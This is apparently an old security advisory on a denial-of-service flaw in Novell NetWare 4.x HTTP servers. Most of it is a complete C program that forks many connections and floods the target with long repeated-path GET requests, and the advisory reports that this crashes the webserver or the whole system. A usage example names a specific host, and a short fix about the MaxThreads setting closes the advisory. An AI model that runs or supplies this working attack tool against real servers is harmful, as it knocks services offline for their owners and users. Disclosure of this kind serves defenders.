COMMAND

    Novell Netware

SYSTEMS AFFECTED

    Novell Netware 4.x

PROBLEM

    Przemyslaw Frasunek found following.  It was tested on:

    - Novell NetWare 4.11 with Novell-HTTP-Server/3.1R1:
        Webserver stops responding requests for few minutes
    - Novell NetWare 4.1 with Novell-HTTP-Server/2.51R1:
        Whole system crash [page fault?].
    - Novell NetWare ?.? with YAWN/1.05 (crc:E8B0)
        Webserver crash.

    With  Novell  NetWare  3.12  with  YAWN/1.05 (crc:E8B0) and Novell
    NetWare 4.11  with YAWN/1.05  (crc:E8B0) there  were no  problems.
    Programs tested agains them follows.  Usage:

        ./www <vulnerable_host> <http_port> <how_many_connections> <string_length>

    Example:

        ./www copernicus.9lo.lublin.pl 80 10 10000

    Code:

    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    #include <sys/types.h>
    #include <sys/socket.h>
    #include <netinet/in.h>
    #include <netdb.h>
    #include <sys/wait.h>

    #define GET "GET"
    #define PAT1 "/"
    #define PAT2 "a/"
    #define PAT3 "../"
    #define PAT4 "./"

    long getip(char *name)
    {
      struct hostent *hp;
      long ip;

      if ((ip=inet_addr(name))==-1)
      {
        if ((hp=gethostbyname(name))==NULL)
        {
          perror("gethostbyname");
          exit(1);
        }
        memcpy(&ip, (hp->h_addr), 4);
      }
      return ip;
    }

    int main (argc, argv)
    int argc;
    char **argv;
    {
      struct sockaddr_in cli;
      int sockfd, i, x, len;
      char *msg1, *msg2, *msg3, *msg4;

      if (argc < 5) { (void)fprintf(stderr, "usage: %s <host> <port> <connections> <len>\n", argv[0]); exit(0); }

      bzero(&cli, sizeof(cli));
      cli.sin_family = AF_INET;
      cli.sin_addr.s_addr=getip(argv[1]);
      cli.sin_port = htons(atoi(argv[2]));

      len = atoi(argv[4]);
      if (len < (sizeof(GET)+1+sizeof(PAT1))) { (void)fprintf(stderr, "len too small.\n"); exit(1); }
      msg1 = (char *) malloc(len+sizeof(GET)+sizeof(PAT1)+1);
      msg2 = (char *) malloc(len+sizeof(GET)+sizeof(PAT1)+1);
      msg3 = (char *) malloc(len+sizeof(GET)+sizeof(PAT1)+1);
      msg4 = (char *) malloc(len+sizeof(GET)+sizeof(PAT1)+1);

      sprintf(msg1, "%s %s", GET, PAT1);
      sprintf(msg2, "%s %s", GET, PAT1);
      sprintf(msg3, "%s %s", GET, PAT1);
      sprintf(msg4, "%s %s", GET, PAT1);

      for(i=0;i<(len/sizeof(PAT1));i++) strcat(msg1, PAT1);
      for(i=0;i<(len/sizeof(PAT2));i++) strcat(msg2, PAT2);
      for(i=0;i<(len/sizeof(PAT3));i++) strcat(msg3, PAT3);
      for(i=0;i<(len/sizeof(PAT4));i++) strcat(msg4, PAT4);

      for(i=0;i<(atoi(argv[3]));i++) if (!(x=fork()))
      {
      if((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0)
      {
        perror("socket");
        exit(1);
      }
      if(connect(sockfd, (struct sockaddr *)&cli, sizeof(cli)) < 0)
      {
        perror("connect");
        exit(1);
      }
      write(sockfd, msg1, strlen(msg1));
      close(sockfd);

      if((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0)
      {
        perror("socket");
        exit(1);
      }
      if(connect(sockfd, (struct sockaddr *)&cli, sizeof(cli)) < 0)
      {
        perror("connect");
        exit(1);
      }
      write(sockfd, msg2, strlen(msg2));
      close(sockfd);

      if((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0)
      {
        perror("socket");
        exit(1);
      }
      if(connect(sockfd, (struct sockaddr *)&cli, sizeof(cli)) < 0)
      {
        perror("connect");
        exit(1);
      }
      write(sockfd, msg3, strlen(msg3));
      close(sockfd);

      if((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0)
      {
        perror("socket");
        exit(1);
      }
      if(connect(sockfd, (struct sockaddr *)&cli, sizeof(cli)) < 0)
      {
        perror("connect");
        exit(1);
      }
      write(sockfd, msg4, strlen(msg4));
      close(sockfd);

      exit(0);
      }

      waitpid(x,&i,0);

      exit(0);
    }

SOLUTION

    The  problem  is  probably  related  to  the  amount of MaxThreads
    parameter in httpd.cfg, which is default set to 16 (this is a safe
    value).  Setting it to more  than 16 can be dangerous, because  of
    exhausting the server memory,  when many parallel connections  are
    opened.